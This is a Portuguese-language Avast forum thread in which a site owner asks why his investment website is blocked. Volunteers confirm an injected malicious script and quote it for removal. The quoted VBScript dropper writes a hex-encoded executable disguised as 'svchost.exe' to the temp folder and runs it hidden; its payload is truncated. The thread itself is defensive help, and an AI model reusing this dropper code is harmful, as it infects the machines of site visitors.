Author Topic: avast esta a bloquear meu site o que faço ?  (Read 12795 times)

0 Members and 1 Guest are viewing this topic.

Hemerich27

  • Guest
avast esta a bloquear meu site o que faço ?
« on: May 14, 2014, 01:35:53 PM »
o avast esta a bloquear meu site o que eu faço ? sempre que eu ou outro usuario deseja entrar no site temos que esta a desativar o avast ,me ajudem por favor ,,, o site è esse hxtp://hemerichinvestimento.com/  ,desde ja obrigado ..
« Last Edit: May 14, 2014, 02:28:04 PM by Milos »

Offline Lisandro

  • Avast team
  • Certainly Bot
  • *
  • Posts: 67194
Re: avast esta a bloquear meu site o que faço ?
« Reply #1 on: May 14, 2014, 01:54:43 PM »
Para verificar se um site está limpo, utilize:
http://dnscheck.pingdom.com
http://www.siteadvisor.com

Para verificar se um site está hospedado em afraid.org, vá para http://freedns.afraid.org/ e digite o URL na caixa do canto superior direito e, depois, clique no botão "Trace". Qualquer domínio hospedado em afraid.org pode ser utilizado por outras pessoas para hospedagem (DNS hosting) sem o seu controle. Se isto acontecer com o seu domínio, ele pode ter sido utilizado para finalidades maliciosas. Neste caso, quando ninguém tem o controle dos subdomínios (DNS hijacking), o avast! bloqueia todo o domínio para proteger os seus usuários. Provavelmente, a solução será trocar a hospedagem do DNS e voltar a nos informar (www.avast.com/contact-form.php).
The best things in life are free.

Offline Milos

  • Avast team
  • Super Poster
  • *
  • Posts: 2295
Re: avast esta a bloquear meu site o que faço ?
« Reply #2 on: May 14, 2014, 02:31:34 PM »
Hello,
after closing html tag, there is malicious code -- see attached image.

Milos

Hemerich27

  • Guest
Re: avast esta a bloquear meu site o que faço ?
« Reply #3 on: May 14, 2014, 03:33:45 PM »
Para verificar se um site está limpo, utilize:
http://dnscheck.pingdom.com
http://www.siteadvisor.com

Para verificar se um site está hospedado em afraid.org, vá para http://freedns.afraid.org/ e digite o URL na caixa do canto superior direito e, depois, clique no botão "Trace". Qualquer domínio hospedado em afraid.org pode ser utilizado por outras pessoas para hospedagem (DNS hosting) sem o seu controle. Se isto acontecer com o seu domínio, ele pode ter sido utilizado para finalidades maliciosas. Neste caso, quando ninguém tem o controle dos subdomínios (DNS hijacking), o avast! bloqueia todo o domínio para proteger os seus usuários. Provavelmente, a solução será trocar a hospedagem do DNS e voltar a nos informar (www.avast.com/contact-form.php).
Domínio consultado: www.hemerichinvestimento.com

ns1.afraid.org não foi encontrado na lista de nomes. 
« Last Edit: May 14, 2014, 03:35:55 PM by Hemerich27 »

Hemerich27

  • Guest
Re: avast esta a bloquear meu site o que faço ?
« Reply #4 on: May 14, 2014, 10:43:59 PM »
Para verificar se um site está limpo, utilize:
http://dnscheck.pingdom.com
http://www.siteadvisor.com

Para verificar se um site está hospedado em afraid.org, vá para http://freedns.afraid.org/ e digite o URL na caixa do canto superior direito e, depois, clique no botão "Trace". Qualquer domínio hospedado em afraid.org pode ser utilizado por outras pessoas para hospedagem (DNS hosting) sem o seu controle. Se isto acontecer com o seu domínio, ele pode ter sido utilizado para finalidades maliciosas. Neste caso, quando ninguém tem o controle dos subdomínios (DNS hijacking), o avast! bloqueia todo o domínio para proteger os seus usuários. Provavelmente, a solução será trocar a hospedagem do DNS e voltar a nos informar (www.avast.com/contact-form.php).
Domínio consultado: www.hemerichinvestimento.com

ns1.afraid.org não foi encontrado na lista de nomes.
nao foi encontrado no  afraid.org e agora  ?

Offline jefferson sant

  • Starting Graphoman
  • *
  • Posts: 6674
  • volunteer
Re: avast esta a bloquear meu site o que faço ?
« Reply #5 on: May 14, 2014, 10:50:39 PM »
A Detecção é correta

foi detectado um  código do iframe malicioso  como disse Milos




41 arquivos maliciosos

http://quttera.com/detailed_report/hemerichinvestimento.com

•VBScript Injection (GJS174)



http://killmalware.com/hemerichinvestimento.com/
« Last Edit: May 14, 2014, 11:11:53 PM by jefferson santiag »

Hemerich27

  • Guest
Re: avast esta a bloquear meu site o que faço ?
« Reply #6 on: May 14, 2014, 11:29:51 PM »
A Detecção é correta

foi detectado um  código do iframe malicioso  como disse Milos




41 arquivos maliciosos

http://quttera.com/detailed_report/hemerichinvestimento.com

•VBScript Injection (GJS174)



http://killmalware.com/hemerichinvestimento.com/
  mais oque eu posso fazer para consertar isso ,gastei tanto dinheiro para colocar esse site no ar :( me ajudar por favor ,ja tenho a cabeça a doer rsrs ,,,desculpa chatear tanto ,porque quero passar segurança para as pessoas que entrar no site ,e ainda mais um site de investimentos ...

Offline jefferson sant

  • Starting Graphoman
  • *
  • Posts: 6674
  • volunteer
Re: avast esta a bloquear meu site o que faço ?
« Reply #7 on: May 14, 2014, 11:39:32 PM »
você é administrador do site
faça a  limpeza

570 Set FSO = CreateObject("Scripting.FileSystemObject") 
571 DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName 
572 If FSO.FileExists(DropPath)=False Then 
573 Set FileObj = FSO.CreateTextFile(DropPath, True) 
574 For i = 1 To Len(WriteData) Step 2 
575 FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2))) 
576 Next 
577 FileObj.Close 
578 End If 
579 Set WSHshell = CreateObject("WScript.Shell") 
580 WSHshell.Run DropPath, 0 
Quote
//--></SCRIPT><!--��8i����"�W�y�t�l����Ex+�bա'16�`j���,�`q������<�bVKu(����!A�ڏ�Ö|`�����D�**_�@ݝ`�U�ZA[��^  &nbs
p; �a4�nۋ� �H��+J���D�ӷ ��J<<�\D� �Lk��3���    �/��_O���3]���?[��.r�/������7�nFL���#����a���K�
5535;3M(��ǜ���`8���[�&xC�&iDK�o
« Last Edit: May 14, 2014, 11:44:34 PM by jefferson santiag »

Hemerich27

  • Guest
Re: avast esta a bloquear meu site o que faço ?
« Reply #8 on: May 15, 2014, 02:46:08 AM »
você é administrador do site
faça a  limpeza

570 Set FSO = CreateObject("Scripting.FileSystemObject") 
571 DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName 
572 If FSO.FileExists(DropPath)=False Then 
573 Set FileObj = FSO.CreateTextFile(DropPath, True) 
574 For i = 1 To Len(WriteData) Step 2 
575 FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2))) 
576 Next 
577 FileObj.Close 
578 End If 
579 Set WSHshell = CreateObject("WScript.Shell") 
580 WSHshell.Run DropPath, 0 
Quote
//--></SCRIPT><!--��8i����"�W�y�t�l����Ex+�bա'16�`j���,�`q������<�bVKu(����!A�ڏ�Ö|`�����D�**_�@ݝ`�U�ZA[��^  &nbs
p; �a4�nۋ� �H��+J���D�ӷ ��J<<�\D� �Lk��3���    �/��_O���3]���?[��.r�/������7�nFL���#����a���K�
5535;3M(��ǜ���`8���[�&xC�&iDK�o
ok basta eu limpar isso ai q fica so o ouro :)? obrigado mesmo

Offline jefferson sant

  • Starting Graphoman
  • *
  • Posts: 6674
  • volunteer
Re: avast esta a bloquear meu site o que faço ?
« Reply #9 on: May 15, 2014, 04:48:52 AM »
ok basta eu limpar isso ai q fica so o ouro :)? obrigado mesmo

sim.mas inicio da linha do código começa a aqui  e termina onde mencionei acima

Quote
DropFileName = "svchost.exe"
WriteData = "4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000E80000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000219891FC65F9FFAF65F9FFAF65F9FFAFA3E6A2AF67F9FFAFE246E6AF25F8FFAFDABCA0AF78F9FFAF87B0A0AF64F9FFAFA6F6A0AF47F9FFAF7EB4F0AF69F9FFAFB75BA5

... 163465 bytes are skipped ...

« Last Edit: May 16, 2014, 09:33:19 PM by jefferson santiag »

Hemerich27

  • Guest
Re: avast esta a bloquear meu site o que faço ?
« Reply #10 on: May 15, 2014, 11:50:20 PM »
ok basta eu limpar isso ai q fica so o ouro :)? obrigado mesmo

sim.mas inicio da linha do código começa a aqui  e termina onde mencionei acima

Quote
DropFileName = "svchost.exe"
WriteData = "4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000E80000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000219891FC65F9FFAF65F9FFAF65F9FFAFA3E6A2AF67F9FFAFE246E6AF25F8FFAFDABCA0AF78F9FFAF87B0A0AF64F9FFAFA6F6A0AF47F9FFAF7EB4F0AF69F9FFAFB75BA5

... 163465 bytes are skipped ...
[/quote] ok obrigado ,,,mais deixa eu fazer uma pergunta eu tenho que limpar isso no codigo fonte do script ou nos arquivos ftp eu consigo apagar isso ,se fosse eu a fazer claro ,tenho acesso ao cpanel e nos arquivos ftp ,,mais nao tenho acesso ao codigo fonte do script ,,desculpa chatear :)

Offline jefferson sant

  • Starting Graphoman
  • *
  • Posts: 6674
  • volunteer
Re: avast esta a bloquear meu site o que faço ?
« Reply #11 on: May 16, 2014, 12:01:33 AM »
ok obrigado ,,,mais deixa eu fazer uma pergunta eu tenho que limpar isso no codigo fonte do script ou nos arquivos ftp eu consigo apagar isso ,se fosse eu a fazer claro ,tenho acesso ao cpanel e nos arquivos ftp ,,mais nao tenho acesso ao codigo fonte do script ,,desculpa chatear :)

Remova o código 
se este mesmo arquivos esta localizado na pasta  FTP
Depois irei analisar para saber se site  foi limpo e se possui o alerta da detecção
« Last Edit: May 16, 2014, 05:37:50 AM by jefferson santiag »

Hemerich27

  • Guest
Re: avast esta a bloquear meu site o que faço ?
« Reply #12 on: May 16, 2014, 05:13:21 PM »
desculpa a chatear ,,nao conseguir encontrar :( ,,nem sei por onde começar ,,ea pessoa que me veneu o script nao m responde :( pra dar uma assistençia ,uma obs: fiz um teste hoje desistalei o avast e instalei outro antivirus e nao acusam nada roda normalmente ..mais assim como eu milhoes de pessoas preferem o avast :(

Offline jefferson sant

  • Starting Graphoman
  • *
  • Posts: 6674
  • volunteer
Re: avast esta a bloquear meu site o que faço ?
« Reply #13 on: May 16, 2014, 11:42:47 PM »
desculpa a chatear ,,nao conseguir encontrar :( ,,nem sei por onde começar ,,ea pessoa que me veneu o script nao m responde :( pra dar uma assistençia ,uma obs: fiz um teste hoje desistalei o avast e instalei outro antivirus e nao acusam nada roda normalmente ..mais assim como eu milhoes de pessoas preferem o avast :(

Não podemos desbloquear uma URL que esta infectada com Worm  infectante ,um arquivo de VBS Script.
Os usuários do avast estão bem protegidos. Mudar de antivírus,acham que vão resolver o problema, é uma ideia inútil.

VBScript é semelhante em função de JavaScript. Ele é usado para escrever funções executáveis ​​que são incorporados ou incluídos a partir de páginas HTML e interagir com o Document Object Model (DOM) da página, para executar tarefas não possíveis em HTML sozinho.

VBScript também é usado para o processamento do lado do servidor de páginas web, mais notavelmente com o Microsoft Active Server Pages (ASP). O motor ASP e tipo biblioteca, asp.dll, invoca vbscript.dll para executar scripts VBScript. VBScript que está incorporado em uma página ASP está contido dentro de <% e%> trocas de contexto. O exemplo a seguir de uma página ASP com VBScript exibe o atual

http://en.wikipedia.org/wiki/VBScript
« Last Edit: May 16, 2014, 11:47:32 PM by jefferson santiag »

Hemerich27

  • Guest
Re: avast esta a bloquear meu site o que faço ?
« Reply #14 on: May 17, 2014, 03:01:23 AM »
desculpa a chatear ,,nao conseguir encontrar :( ,,nem sei por onde começar ,,ea pessoa que me veneu o script nao m responde :( pra dar uma assistençia ,uma obs: fiz um teste hoje desistalei o avast e instalei outro antivirus e nao acusam nada roda normalmente ..mais assim como eu milhoes de pessoas preferem o avast :(

Não podemos desbloquear uma URL que esta infectada com Worm  infectante ,um arquivo de VBS Script.
Os usuários do avast estão bem protegidos. Mudar de antivírus,acham que vão resolver o problema, é uma ideia inútil.

VBScript é semelhante em função de JavaScript. Ele é usado para escrever funções executáveis ​​que são incorporados ou incluídos a partir de páginas HTML e interagir com o Document Object Model (DOM) da página, para executar tarefas não possíveis em HTML sozinho.

VBScript também é usado para o processamento do lado do servidor de páginas web, mais notavelmente com o Microsoft Active Server Pages (ASP). O motor ASP e tipo biblioteca, asp.dll, invoca vbscript.dll para executar scripts VBScript. VBScript que está incorporado em uma página ASP está contido dentro de <% e%> trocas de contexto. O exemplo a seguir de uma página ASP com VBScript exibe o atual

http://en.wikipedia.org/wiki/VBScript
sim mais eu nao mudei de antivirus so desinstalei para fazer  teste  eu disse,,, eu e melhoes referem o avast .Desculpa se disse algo de mais ,so queria resolver meu problema ,,para começar a partilhar e divulgar meu site ,so q nao estou conseguindo ,,aliaz nao sei nem por onde começar so queria que meu site estivesse nos conformes ,,de boa eo cara que me vendeu nao me da assistençia :( desculpa o encomodo ai è que sou meio fraco quanto a resolver esses tipos de problemas :(